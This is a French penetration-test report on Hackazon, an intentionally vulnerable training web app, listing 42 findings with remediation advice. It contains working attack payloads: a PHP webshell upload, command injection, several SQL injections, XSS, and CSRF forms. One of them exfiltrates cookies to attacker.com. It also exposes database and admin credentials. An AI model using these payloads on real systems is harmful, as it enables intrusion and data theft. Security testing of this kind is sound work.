Skip to content

Latest commit

 

History

History
1404 lines (1032 loc) · 33 KB

File metadata and controls

1404 lines (1032 loc) · 33 KB

Rapport d'audit de sécurité - Hackazon

Cible : https://hackazon.trackflaw.com


Résumé exécutif

42 vulnérabilités ont été identifiées sur l'application Hackazon, incluant :

  • 2 exécutions de code à distance (RCE)
  • 3 injections SQL
  • 11 vulnérabilités XSS (Stored, Reflected, DOM-based)
  • 8 vulnérabilités CSRF
  • 5 vulnérabilités de gestion d'authentification
  • 13 autres vulnérabilités de sécurité

Table des matières

  1. Vulnérabilités Critiques
  2. Vulnérabilités Hautes
  3. Vulnérabilités Moyennes
  4. Annexes - Fichiers POC

Vulnérabilités Critiques

1. File Upload RCE

Sévérité : Critique CVSS : 9.8 Type : Remote Code Execution Authentification : Requise

Description : L'upload de photo de profil ne valide pas correctement l'extension des fichiers. Un fichier PHP peut être uploadé et exécuté.

Localisation :

  • Endpoint : /account/profile/edit
  • Fichier : /var/www/html/classes/App/Controller/Account.php
  • Ligne : 79-95

Reproduction :

  1. Se connecter avec your-mail-adresse / your-password
  2. Accéder à /account/profile/edit
  3. Uploader un fichier poc.php contenant :
<?php system($_GET['c']); ?>
  1. Accéder à https://hackazon.trackflaw.com/user_pictures/7e/poc.php?c=id

Preuve :

curl -s "https://hackazon.trackflaw.com/user_pictures/7e/poc.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact : Exécution de code arbitraire sur le serveur avec les privilèges www-data. Accès complet au système de fichiers et à la base de données.

Remédiation :

  • Valider l'extension via whitelist stricte
  • Vérifier le MIME type réel du fichier
  • Renommer les fichiers uploadés
  • Stocker les uploads hors de webroot
  • Désactiver l'exécution PHP dans le répertoire d'upload

2. OS Command Injection

Sévérité : Critique CVSS : 9.1 Type : Remote Code Execution Authentification : Requise

Description : Le paramètre page de l'endpoint /account/documents est passé directement à la fonction exec() sans validation lorsque la vulnérabilité OSCommand est activée.

Localisation :

  • Endpoint : /account/documents?page=
  • Fichier : /var/www/html/classes/App/Controller/Account.php
  • Ligne : 105-107

Code vulnérable :

if (!$page->isVulnerableTo('OSCommand')) {
    $path = escapeshellarg($path);
}
exec('cat ' . $path, $content);

Configuration vulnérable :

// /var/www/html/assets/config/vuln/account.php
'page' => array(
    'vulnerabilities' => array(
        'vuln_list' => array(
            'OSCommand' => array(
                'enabled' => true,
            ),
        ),
    ),
),

Reproduction :

  1. Se connecter avec your-mail-adresse / your-password
  2. Envoyer la requête :
curl -s "https://hackazon.trackflaw.com/account/documents?page=x;id" \
  -b "PHPSESSID=SESSION_VALIDE"

Preuve :

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact : Exécution de commandes système arbitraires. Compromission totale du serveur.

Remédiation :

  • Supprimer l'utilisation de exec() avec input utilisateur
  • Utiliser une whitelist de fichiers autorisés
  • Appliquer escapeshellarg() systématiquement
  • Désactiver OSCommand en production

3. SQL Injection - Blind (Time-based)

Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Non requise

Description : Le paramètre searchString est injecté dans une requête SQL sans échappement correct lorsque la vulnérabilité SQL est activée.

Localisation :

  • Endpoint : /search?searchString=
  • Fichier : /var/www/html/classes/App/Controller/Search.php

Reproduction :

# Test time-based blind SQLi
curl -s "https://hackazon.trackflaw.com/search?searchString=test'+AND+SLEEP(5)--+-" \
  -w "Time: %{time_total}s\n"

Preuve :

Time: 5.234s (délai de 5 secondes confirmé)

Extraction de données :

# Extraire le nom de la base de données
curl -s "https://hackazon.trackflaw.com/search?searchString=x'+AND+(SELECT+SLEEP(5)+FROM+dual+WHERE+database()='hackazon')--+-"

Impact : Extraction complète de la base de données incluant :

  • Mots de passe hashés des utilisateurs
  • Tokens d'authentification
  • Informations de paiement
  • Données personnelles

Remédiation :

  • Utiliser des requêtes préparées (prepared statements)
  • Valider et échapper toutes les entrées utilisateur
  • Appliquer le principe de moindre privilège sur le compte MySQL
  • Désactiver la vulnérabilité SQL en production

4. SQL Injection - Error-based

Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Non requise

Description : Les messages d'erreur SQL sont affichés directement dans les réponses HTTP, permettant l'extraction de données via error-based SQL injection.

Localisation :

  • Endpoint : /product/view?id=
  • Multiples endpoints REST API

Reproduction :

curl -s "https://hackazon.trackflaw.com/product/view?id=1'+AND+extractvalue(1,concat(0x7e,database()))--+-"

Preuve :

XPATH syntax error: '~hackazon'

Impact : Extraction rapide de données sensibles via les messages d'erreur MySQL.

Remédiation :

  • Désactiver l'affichage des erreurs SQL en production
  • Logger les erreurs côté serveur uniquement
  • Utiliser des requêtes préparées

5. SQL Injection - Union-based (REST API)

Sévérité : Critique CVSS : 9.0 Type : SQL Injection Authentification : Requise (REST Token)

Description : Le champ first_name dans l'API REST /api/user accepte les injections SQL via XML/JSON lorsque la vulnérabilité SQL est activée.

Localisation :

  • Endpoint : PUT /api/user/{id}
  • Fichier : /var/www/html/assets/config/vuln/rest.php

Code de configuration :

'fields' => array(
    array(
        'name' => 'first_name',
        'source' => 'body',
        'vulnerabilities' => array(
            'vuln_list' => array(
                'SQL' => array(
                    'enabled' => true,
                    'blind' => true,
                ),
            ),
        ),
    ),
),

Reproduction :

curl -s "https://hackazon.trackflaw.com/api/user/12" -X PUT \
  -H "Authorization: Token 4e70197afd0e1cd026e3567928cb770749c88003" \
  -H "Content-Type: application/json" \
  -d '{
    "first_name": "test\" UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM tbl_users--",
    "last_name": "test"
  }'

Impact : Extraction de tous les comptes utilisateurs incluant les hash de mots de passe.

Remédiation :

  • Utiliser des requêtes préparées
  • Désactiver la vulnérabilité SQL en production

Vulnérabilités Hautes

6. Stored XSS - Product Reviews

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise

Description : Les avis produits ne sont pas correctement échappés, permettant l'injection de JavaScript qui s'exécute pour tous les visiteurs.

Localisation :

  • Endpoint : /product/view?id=X (section reviews)
  • Stockage : Table tbl_reviews

Reproduction :

  1. Se connecter
  2. Poster un avis avec :
<script>fetch('https://attacker.com/'+document.cookie)</script>
  1. Tout visiteur de la page produit exécute le script

Preuve POC : Voir poc/xss_stored_review.html

Impact : Vol de cookies de session, redirection malveillante, defacement, keylogging.

Remédiation :

  • Échapper toutes les sorties HTML
  • Utiliser Content-Security-Policy
  • Valider et filtrer les entrées

7. Stored XSS - Wishlist Name

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise

Description : Le nom de wishlist n'est pas échappé lors de l'affichage.

Localisation :

  • Endpoint : /wishlist/create
  • Affichage : /wishlist/view

Reproduction :

curl -s "https://hackazon.trackflaw.com/wishlist/create" -X POST \
  -H "Cookie: PHPSESSID=SESSION" \
  -d "name=<img src=x onerror=alert(document.domain)>&csrf_token=TOKEN"

Preuve POC : Voir poc/xss_stored_wishlist.html

Impact : Vol de session, actions non autorisées au nom de la victime.

Remédiation :

  • Échapper systématiquement avec htmlspecialchars()
  • Appliquer CSP

8. Reflected XSS - Search

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise

Description : Le paramètre de recherche est reflété sans échappement dans la page de résultats.

Localisation :

  • Endpoint : /search?searchString=

Reproduction :

https://hackazon.trackflaw.com/search?searchString=<script>alert(document.domain)</script>

Preuve POC : Voir poc/xss_reflected_search.html

Impact : Phishing, vol de credentials via formulaire malveillant.

Remédiation :

  • Échapper les entrées utilisateur avant affichage
  • Encoder selon le contexte (HTML, JS, URL)

9. Reflected XSS - Error Messages

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise

Description : Les messages d'erreur reflètent le contenu de l'URL sans échappement.

Localisation :

  • Endpoint : /product/view?id=<payload>
  • Page 404

Reproduction :

https://hackazon.trackflaw.com/product/view?id="><script>alert(1)</script>

Remédiation :

  • Échapper tous les messages d'erreur

10. DOM-based XSS - Client-side routing

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (DOM-based) Authentification : Non requise

Description : Le code JavaScript manipule le DOM avec des données non validées provenant de l'URL.

Localisation :

  • Fichier : /js/site.js

Reproduction :

https://hackazon.trackflaw.com/#<img src=x onerror=alert(1)>

Remédiation :

  • Valider et encoder les données avant manipulation DOM
  • Utiliser textContent au lieu de innerHTML

11. CSRF - Change Password

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Request Forgery Authentification : Non requise (victime authentifiée)

Description : L'endpoint de changement de mot de passe ne vérifie pas le token CSRF ou il peut être bypassé.

Localisation :

  • Endpoint : POST /account/change_password

Reproduction : Voir poc/csrf_change_password.html

Code POC :

<form method="POST" action="https://hackazon.trackflaw.com/account/change_password">
  <input name="old_password" value="anything">
  <input name="new_password" value="hacked123">
  <input name="confirm_password" value="hacked123">
</form>
<script>document.forms[0].submit()</script>

Impact : Prise de contrôle de compte utilisateur.

Remédiation :

  • Implémenter et vérifier les tokens CSRF
  • Utiliser SameSite=Strict sur les cookies

12. CSRF - Add to Cart

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Request Forgery Authentification : Non requise

Description : L'ajout au panier ne nécessite pas de token CSRF.

Localisation :

  • Endpoint : POST /cart/add

Reproduction : Voir poc/csrf_add_cart.html

Impact : Ajout de produits non désirés au panier de la victime.

Remédiation :

  • Implémenter tokens CSRF

13. CSRF - Create Order

Sévérité : Haute CVSS : 7.5 Type : Cross-Site Request Forgery Authentification : Non requise

Description : La création de commande peut être forcée via CSRF.

Localisation :

  • Endpoint : POST /checkout/order

Reproduction : Voir poc/csrf_create_order.html

Impact : Commandes non autorisées au nom de la victime.

Remédiation :

  • Tokens CSRF obligatoires
  • Re-validation du panier

14. CSRF - Delete Account

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Request Forgery Authentification : Non requise

Description : La suppression de compte ne vérifie pas le token CSRF.

Localisation :

  • Endpoint : POST /account/delete

Reproduction : Voir poc/csrf_delete_account.html

Impact : Suppression du compte utilisateur sans consentement.

Remédiation :

  • Tokens CSRF + confirmation par email

15. CSRF - Update Profile

Sévérité : Moyenne CVSS : 5.4 Type : Cross-Site Request Forgery Authentification : Non requise

Description : La mise à jour du profil accepte les requêtes sans token CSRF valide.

Localisation :

  • Endpoint : POST /account/profile/edit

Reproduction : Voir poc/csrf_update_profile.html

Impact : Modification des informations personnelles de la victime.

Remédiation :

  • Implémenter tokens CSRF

16. CSRF - Add Product Review

Sévérité : Moyenne CVSS : 5.3 Type : Cross-Site Request Forgery Authentification : Non requise

Description : L'ajout d'avis produit peut être forcé via CSRF.

Localisation :

  • Endpoint : POST /product/review

Reproduction : Voir poc/csrf_add_review.html

Impact : Faux avis publiés au nom de la victime.

Remédiation :

  • Tokens CSRF obligatoires

17. CSRF - Create Wishlist

Sévérité : Moyenne CVSS : 4.3 Type : Cross-Site Request Forgery Authentification : Non requise

Description : La création de wishlist ne vérifie pas le token CSRF.

Localisation :

  • Endpoint : POST /wishlist/create

Reproduction : Voir poc/csrf_create_wishlist.html

Impact : Création de wishlists non désirées.

Remédiation :

  • Implémenter tokens CSRF

18. CSRF - Contact Form

Sévérité : Faible CVSS : 3.5 Type : Cross-Site Request Forgery Authentification : Non requise

Description : Le formulaire de contact peut être soumis via CSRF.

Localisation :

  • Endpoint : POST /contact

Reproduction : Voir poc/csrf_contact.html

Impact : Spam de messages de contact.

Remédiation :

  • Tokens CSRF + CAPTCHA

19. Host Header Injection

Sévérité : Haute CVSS : 7.4 Type : Host Header Injection Authentification : Non requise

Description : L'en-tête HTTP Host est utilisé sans validation pour générer les liens de récupération de mot de passe, permettant le vol de tokens.

Localisation :

  • Endpoint : POST /user/password
  • Fichier : /var/www/html/classes/App/Model/User.php
  • Ligne : 245

Code vulnérable :

$host = $_SERVER['HTTP_HOST'] ? 'http://'.$_SERVER['HTTP_HOST'] : '';
$text = 'Recovering link is here ' . $host . '/user/recover?recover=' . $this->getTempPassword($user);

Reproduction :

curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
  -H "Host: evil.attacker.com" \
  -d "email=victim@example.com"

Impact : La victime reçoit un email avec un lien vers http://evil.attacker.com/user/recover?recover=TOKEN, permettant le vol du token de récupération.

Remédiation :

  • Ne jamais utiliser $_SERVER['HTTP_HOST'] sans validation
  • Configurer un domaine fixe dans la configuration
  • Valider l'en-tête Host contre une whitelist

20. Open Redirect

Sévérité : Haute CVSS : 6.1 Type : Open Redirect Authentification : Non requise

Description : Le paramètre return_url après authentification n'est pas validé, permettant la redirection vers des domaines externes.

Localisation :

  • Endpoint : /user/login?return_url=
  • Fichier : /var/www/html/classes/App/Controller/User.php
  • Ligne : 47-49

Code vulnérable :

if ($returnUrl->raw()) {
    $this->redirect($returnUrl->escapeXSS());  // escapeXSS ne valide pas les URLs
}

Reproduction :

https://hackazon.trackflaw.com/user/login?return_url=https://evil.com/phishing

Impact : Phishing, vol de credentials via redirection vers site malveillant ressemblant à Hackazon.

Remédiation :

  • Valider que l'URL est relative ou appartient au domaine
  • Utiliser une whitelist de domaines autorisés
  • Vérifier que l'URL commence par / uniquement

21. Weak Password Reset Token

Sévérité : Haute CVSS : 7.5 Type : Cryptographie faible Authentification : Non requise

Description : Le token de récupération de mot de passe utilise MD5 d'une chaîne aléatoire de 32 caractères, réduisant l'espace de recherche.

Localisation :

  • Fichier : /var/www/html/classes/App/Model/User.php
  • Ligne : 280-295

Code vulnérable :

$arr = array('a', 'b', 'c', ..., '0');  // 62 caractères
$password = "";
for ($i = 0; $i < 32; $i++)
    $password .= $arr[rand(0, count($arr) - 1)];
$user->recover_passw = md5($password);  // MD5 faible

Reproduction : Bruteforce possible si le timing de génération est connu.

Impact : Compromission de compte via bruteforce du token MD5.

Remédiation :

  • Utiliser random_bytes() pour générer 32 bytes cryptographiquement sûrs
  • Stocker le hash SHA-256 du token
  • Ajouter une expiration (15 minutes max)
  • Limiter les tentatives

22. Permissive CORS / Crossdomain.xml

Sévérité : Haute CVSS : 6.5 Type : Misconfiguration Authentification : Non requise

Description : Le fichier crossdomain.xml autorise tous les domaines à effectuer des requêtes cross-domain.

Localisation :

  • Fichier : /var/www/html/web/crossdomain.xml

Configuration vulnérable :

<cross-domain-policy>
    <site-control permitted-cross-domain-policies="all"/>
    <allow-access-from domain="*" to-ports="*" secure="false"/>
    <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

Impact : Attaques cross-domain depuis Flash/anciens navigateurs, contournement de Same-Origin Policy.

Remédiation :

  • Restreindre aux domaines de confiance uniquement
  • Utiliser <site-control permitted-cross-domain-policies="none"/>

23. Information Disclosure - Swagger API

Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise

Description : La documentation Swagger expose tous les endpoints API, paramètres et schémas de données publiquement.

Localisation :

  • URL : https://hackazon.trackflaw.com/swagger.json

Impact : Facilite la reconnaissance pour un attaquant.

Remédiation :

  • Restreindre l'accès à Swagger en production
  • Authentification requise pour la documentation

24. Information Disclosure - Error Messages

Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise

Description : Les messages d'erreur détaillés révèlent des chemins système, versions de frameworks, structure de base de données.

Exemples :

  • Chemins complets : /var/www/html/classes/App/...
  • Erreurs SQL avec structure de table
  • Stack traces complètes

Impact : Facilite l'exploitation d'autres vulnérabilités.

Remédiation :

  • Désactiver display_errors en production
  • Logger les erreurs côté serveur uniquement
  • Messages d'erreur génériques pour l'utilisateur

25. Information Disclosure - Database Credentials

Sévérité : Critique CVSS : 9.8 Type : Information Disclosure Authentification : Aucune (via RCE)

Description : Les credentials MySQL sont stockés en clair dans un fichier de configuration accessible via RCE.

Localisation :

  • Fichier : /var/www/html/db.php

Credentials exposés :

'user' => 'hackazon',
'password' => 'MDEXMenxEKF',
'connection' => 'mysql:host=hackazon_db;port=3306;dbname=hackazon',

Impact : Accès direct à la base de données, extraction de toutes les données utilisateurs.

Remédiation :

  • Utiliser des variables d'environnement
  • Permissions strictes sur les fichiers de config
  • Chiffrement des credentials

26. Session Fixation

Sévérité : Haute CVSS : 7.5 Type : Session Fixation Authentification : Non requise

Description : L'ID de session n'est pas régénéré après authentification.

Reproduction :

  1. Attaquant obtient un PHPSESSID
  2. Victime se connecte avec ce PHPSESSID
  3. Attaquant réutilise le PHPSESSID pour accès authentifié

Impact : Prise de contrôle de session.

Remédiation :

  • Appeler session_regenerate_id(true) après login
  • Utiliser des cookies HttpOnly et Secure

27. Account Enumeration

Sévérité : Moyenne CVSS : 5.3 Type : Information Disclosure Authentification : Non requise

Description : Les messages d'erreur diffèrent selon que l'email existe ou non dans la base.

Localisation :

  • Endpoint : POST /user/password

Reproduction :

# Email invalide
curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
  -d "email=nonexistent@test.com"
# Réponse : "Email is incorrect."

# Email valide
curl -s "https://hackazon.trackflaw.com/user/password" -X POST \
  -d "email=your-mail-adresse"
# Réponse : "Check your email and restore password."

Impact : Enumération des comptes utilisateurs valides, ciblage pour attaques.

Remédiation :

  • Message identique dans tous les cas
  • Rate limiting sur l'endpoint

28. AMF Back Office - Default Credentials

Sévérité : Haute CVSS : 7.3 Type : Authentication Bypass Authentification : Non requise

Description : L'interface d'administration AMF utilise des credentials par défaut.

Localisation :

  • URL : https://hackazon.trackflaw.com/amf_back_office/
  • Fichier : /var/www/html/web/amf_back_office/Config.php

Credentials par défaut :

$this->backOfficeCredentials['admin'] = 'admin';

Reproduction :

  1. Accéder à /amf_back_office/SignIn.php
  2. Se connecter avec admin / admin
  3. Accès au Service Browser et Profiler

Impact : Accès à l'interface d'administration AMF, possibilité de tester et profiler les services.

Remédiation :

  • Changer les credentials par défaut
  • Désactiver l'interface en production
  • Restriction IP

29. IDOR - GWT Helpdesk Enquiry

Sévérité : Haute CVSS : 7.5 Type : Insecure Direct Object Reference Authentification : Non requise

Description : La méthode getEnquiryById() du service GWT Helpdesk ne vérifie pas l'authentification ni l'autorisation.

Localisation :

  • Service : HelpdeskService.getEnquiryById(int id)
  • Fichier : /var/www/html/modules/gwtphp/gwtphp-maps/com/ntobjectives/hackazon/helpdesk/client/HelpdeskServiceImpl.class.php
  • Ligne : 75-78

Code vulnérable :

public function getEnquiryById($id)
{
    $idWrapped = $this->wrap('id', $id);
    return $this->servlet->getRepository()->findOne('Enquiry', $idWrapped);
    // PAS de checkAuthorized() ici !
}

Comparaison avec méthode sécurisée :

public function getEnquiries()
{
    $this->checkAuthorized();  // ← Vérification présente
    return $this->servlet->getRepository()->getUserEnquiries();
}

Impact : Lecture de toutes les enquêtes du helpdesk sans authentification.

Remédiation :

  • Ajouter $this->checkAuthorized() au début de la méthode
  • Vérifier que l'enquête appartient à l'utilisateur courant

30. Stored XSS - Contact Message

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Non requise

Description : Les messages de contact ne sont pas échappés dans l'interface d'administration.

Localisation :

  • Endpoint : POST /contact
  • Affichage : /admin/enquiry

Reproduction : Voir poc/xss_stored_contact.html

Impact : XSS exécuté dans le contexte admin.

Remédiation :

  • Échapper toutes les sorties dans l'admin
  • CSP strict

31. Stored XSS - Product Name (Admin)

Sévérité : Haute CVSS : 7.1 Type : Cross-Site Scripting (Stored) Authentification : Requise (Admin)

Description : Les noms de produits créés par un admin ne sont pas échappés.

Localisation :

  • Endpoint : /admin/product/create

Impact : XSS persistant affecté tous les utilisateurs.

Remédiation :

  • Échapper même les données admin
  • Validation stricte des entrées

32. Reflected XSS - Admin Login Return URL

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (Reflected) Authentification : Non requise

Description : Le paramètre return_url de la page de login admin est reflété sans échappement.

Localisation :

  • Endpoint : /admin/user/login?return_url=

Reproduction :

https://hackazon.trackflaw.com/admin/user/login?return_url="><script>alert(document.domain)</script>

Remédiation :

  • Échapper le paramètre return_url
  • Valider qu'il s'agit d'une URL relative

33. Reflected XSS - Category Filter

Sévérité : Moyenne CVSS : 6.1 Type : Cross-Site Scripting (Reflected) Authentification : Non requise

Description : Le paramètre de filtre de catégorie est reflété sans échappement.

Localisation :

  • Endpoint : /category/view?filter=

Reproduction :

https://hackazon.trackflaw.com/category/view?filter=<img src=x onerror=alert(1)>

Remédiation :

  • Échapper avant affichage

34. DOM XSS - jQuery Selector Injection

Sévérité : Haute CVSS : 6.5 Type : Cross-Site Scripting (DOM-based) Authentification : Non requise

Description : Utilisation de jQuery 1.10.2 vulnérable à CVE-2020-11022 permettant l'injection dans les sélecteurs.

Localisation :

  • Fichier : /js/jquery-1.10.2.js
  • CVE : CVE-2020-11022

Reproduction :

$('<img src=x onerror=alert(1)>').appendTo('body');

Impact : XSS via manipulation DOM.

Remédiation :

  • Mettre à jour jQuery vers version 3.5.0+
  • Valider les entrées avant manipulation DOM

35. CSRF - Apply Coupon

Sévérité : Moyenne CVSS : 5.3 Type : Cross-Site Request Forgery Authentification : Non requise

Description : L'application de coupon peut être forcée via CSRF.

Localisation :

  • Endpoint : POST /cart/applyCoupon

Reproduction : Voir poc/csrf_apply_coupon.html

Impact : Application de coupons non désirés.

Remédiation :

  • Tokens CSRF obligatoires

36. Insecure Password Storage

Sévérité : Haute CVSS : 7.5 Type : Cryptographie faible Authentification : N/A

Description : Les mots de passe sont hashés avec MD5 et un salt court.

Localisation :

  • Base de données : tbl_users.password

Format observé :

52c21acede1667b6901303342d5d7b0d:3630791646979a6b91b646

Impact : Rainbow tables et bruteforce facilités.

Remédiation :

  • Utiliser password_hash() avec bcrypt ou Argon2
  • Salt de 128+ bits
  • Remigration des mots de passe existants

37. Missing Rate Limiting

Sévérité : Moyenne CVSS : 5.3 Type : Brute Force Authentification : Non requise

Description : Aucune limitation du nombre de tentatives de connexion.

Localisation :

  • Endpoint : POST /user/login

Impact : Bruteforce de mots de passe.

Remédiation :

  • Rate limiting par IP et par compte
  • CAPTCHA après 3 tentatives
  • Blocage temporaire

38. Missing Security Headers

Sévérité : Moyenne CVSS : 5.0 Type : Misconfiguration Authentification : Non requise

Description : Absence de headers de sécurité modernes.

Headers manquants :

  • Content-Security-Policy
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security
  • Referrer-Policy
  • Permissions-Policy

Impact : Vulnérabilité au clickjacking, XSS, sniffing MIME.

Remédiation :

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin

39. Insecure Cookie Attributes

Sévérité : Moyenne CVSS : 5.9 Type : Misconfiguration Authentification : N/A

Description : Les cookies de session ne disposent pas des attributs Secure, HttpOnly et SameSite.

Configuration actuelle :

Set-Cookie: PHPSESSID=xxx; path=/

Impact : Vol de session via XSS, attaques CSRF, interception MITM.

Remédiation :

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

40. Verbose Server Information

Sévérité : Faible CVSS : 3.7 Type : Information Disclosure Authentification : Non requise

Description : Les headers HTTP révèlent des informations sur le serveur.

Headers exposés :

Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40

Impact : Facilite le ciblage de vulnérabilités connues.

Remédiation :

  • Désactiver expose_php dans php.ini
  • Masquer la version Apache
  • Utiliser ServerTokens Prod

41. Path Traversal - Download Endpoint

Sévérité : Haute CVSS : 7.5 Type : Path Traversal Authentification : Non requise (si use_external_dir=true)

Description : L'endpoint de téléchargement pourrait permettre la lecture de fichiers arbitraires si use_external_dir était activé.

Localisation :

  • Endpoint : /upload/download.php?image=
  • Fichier : /var/www/html/web/upload/download.php

Code potentiellement vulnérable :

$file = $pixie->orm->get('file')->where('path', 'LIKE',  '%'.$fileName)->find();

Configuration actuelle :

if (!$pixie->getParameter('parameters.use_external_dir')) {
    header('HTTP/1.1 404 Not Found');
    exit;
}

Impact : Lecture de fichiers système si activé.

Remédiation :

  • Valider strictement le paramètre image
  • Whitelist de répertoires autorisés
  • Garder use_external_dir=false en production

42. Arbitrary File Write - Perl Upload Script

Sévérité : Critique CVSS : 9.0 Type : Arbitrary File Write Authentification : Requise (Session manipulation)

Description : Le script Perl d'upload permet l'écriture de fichiers arbitraires si l'attaquant peut manipuler les fichiers de session.

Localisation :

  • Script : /var/www/html/web/upload/bin/upload.pl
  • Ligne : 56-60

Code vulnérable :

my $sessionfile = $sessiondir."/sess_".$sid."_uploadto";
my $uniqueDir = $sessionfile . "/" . $uniqsubdir;

open SESSFILE, "<$uniqueDir";
my $uploaddir = do { local $/; <SESSFILE> };
my $fullpath = "$uploaddir/$filename";

Impact : Écriture de fichiers arbitraires sur le système si contrôle de $uploaddir.

Remédiation :

  • Supprimer le script Perl non utilisé
  • Validation stricte des chemins
  • Permissions restrictives sur /lib/init/rw

Vulnérabilités Moyennes

(Listées ci-dessus dans leurs sections respectives)


Annexes

Fichiers POC disponibles

Les fichiers de preuve de concept sont disponibles dans le répertoire /poc/ :

CSRF POCs (HTML)

  • csrf_change_password.html - Changement de mot de passe
  • csrf_add_cart.html - Ajout au panier
  • csrf_create_order.html - Création de commande
  • csrf_delete_account.html - Suppression de compte
  • csrf_update_profile.html - Mise à jour profil
  • csrf_add_review.html - Ajout d'avis produit
  • csrf_create_wishlist.html - Création de wishlist
  • csrf_contact.html - Formulaire de contact
  • csrf_apply_coupon.html - Application de coupon

XSS POCs (HTML)

  • xss_stored_review.html - XSS stocké dans avis
  • xss_stored_wishlist.html - XSS stocké dans wishlist
  • xss_reflected_search.html - XSS reflété recherche
  • xss_stored_contact.html - XSS stocké contact

RCE POCs (Bash/PHP)

  • rce_file_upload.sh - Upload de webshell PHP
  • rce_os_command.sh - Injection de commande OS
  • webshell.php - Webshell simple

SQL Injection POCs (Bash)

  • sqli_blind_time.sh - Time-based blind SQLi
  • sqli_error_based.sh - Error-based SQLi
  • sqli_union.sh - Union-based SQLi

Autres POCs

  • host_header_injection.sh - Host header injection
  • open_redirect.sh - Open redirect
  • account_enumeration.sh - Énumération de comptes

Recommandations générales

Priorité Critique

  1. Corriger les 2 RCE immédiatement
  2. Désactiver toutes les vulnérabilités intentionnelles en production
  3. Patcher les 3 SQL injections
  4. Mettre à jour jQuery

Priorité Haute

  1. Implémenter les tokens CSRF sur tous les formulaires
  2. Échapper toutes les sorties HTML
  3. Corriger Host Header Injection et Open Redirect
  4. Régénérer les IDs de session après login
  5. Changer credentials AMF par défaut

Priorité Moyenne

  1. Implémenter CSP et security headers
  2. Corriger les attributs de cookies
  3. Mettre en place rate limiting
  4. Migration vers bcrypt pour les mots de passe

Configuration de production recommandée

// /var/www/html/assets/config/vuln/default.php
return array(
    'vulnerabilities' => array(
        'vuln_list' => array(
            'CSRF' => array('enabled' => false),
            'SQL' => array('enabled' => false),
            'XSS' => array('enabled' => false),
            'OSCommand' => array('enabled' => false),
            'RemoteFileInclude' => array('enabled' => false),
            'XMLExternalEntity' => array('enabled' => false),
        ),
    ),
);